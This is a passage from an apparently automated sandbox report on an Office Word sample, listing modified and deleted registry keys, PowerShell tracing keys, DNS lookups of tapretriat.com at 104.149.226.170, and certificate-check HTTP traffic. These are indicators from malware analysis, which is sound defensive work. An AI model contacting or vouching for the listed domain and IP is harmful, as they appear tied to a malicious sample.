  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1",
  1923. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1924. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\powershell_RASAPI32",
  1925. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableFileTracing",
  1926. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableConsoleTracing",
  1927. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\FileTracingMask",
  1928. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\ConsoleTracingMask",
  1929. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\MaxFileSize",
  1930. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\FileDirectory"
  1931.  
  1932.  
  1933. * Deleted Registry Keys:
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\r4v",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\u*t",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\74726A\\74726A",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1942.  
  1943.  
  1944. * DNS Communications:
  1945.  
  1946. "type": "A",
  1947. "request": "tapretriat.com",
  1948. "answers":
  1949.  
  1950. "data": "104.149.226.170",
  1951. "type": "A"
  1952.  
  1953.  
  1954.  
  1955.  
  1956. "type": "A",
  1957. "request": "www.tapretriat.com",
  1958. "answers":
  1959.  
  1960. "data": "104.149.226.170",
  1961. "type": "A"
  1962.  
  1963.  
  1964.  
  1965.  
  1966.  
  1967. * Domains:
  1968.  
  1969. "ip": "104.149.226.170",
  1970. "domain": "tapretriat.com"
  1971.  
  1972.  
  1973. "ip": "104.149.226.170",
  1974. "domain": "www.tapretriat.com"
  1975.  
  1976.  
  1977.  
  1978. * Network Communication - ICMP:
  1979.  
  1980. "src": "158.69.124.66",
  1981. "dst": "169.254.255.254
  1982. "type": 3,
  1983. "data": ""
  1984.  
  1985.  
  1986. "src": "158.69.124.66",
  1987. "dst": "169.254.255.254
  1988. "type": 3,
  1989. "data": ""
  1990.  
  1991.  
  1992. "src": "158.69.124.66",
  1993. "dst": "169.254.255.254
  1994. "type": 3,
  1995. "data": ""
  1996.  
  1997.  
  1998.  
  1999. * Network Communication - HTTP:
  2000.  
  2001. "count": 1,
  2002. "body": "",
  2003. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2004. "user-agent": "Microsoft-CryptoAPI/6.1",
  2005. "method": "GET",
  2006. "host": "ocsp.digicert.com",
  2007. "version": "1.1",
  2008. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2009. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2010. "port": 80
  2011.  
  2012.  
  2013. "count": 1,
  2014. "body": "",
  2015. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2016. "user-agent": "Microsoft-CryptoAPI/6.1",
  2017. "method": "GET",
  2018. "host": "ocsp.msocsp.com",
  2019. "version": "1.1",
  2020. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2021. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2022. "port": 80
  2023.  
  2024.  
  2025. "count": 6,
  2026. "body": "",
  2027. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2028. "user-agent": "Microsoft-CryptoAPI/6.1",
  2029. "method": "GET",
  2030. "host": "crl.microsoft.com",
  2031. "version": "1.1",
  2032. "path": "/pki/crl/products/microsoftrootcert.crl",
  2033. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2034. "port": 80
  2035.  
  2036.  
  2037. "count": 1,
  2038. "body": "",
  2039. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2040. "user-agent": "Microsoft-CryptoAPI/6.1",
  2041. "method": "GET",
  2042. "host": "crl.microsoft.com",
  2043. "version": "1.1",
  2044. "path": "/pki/crl/products/microsoftrootcert.crl",
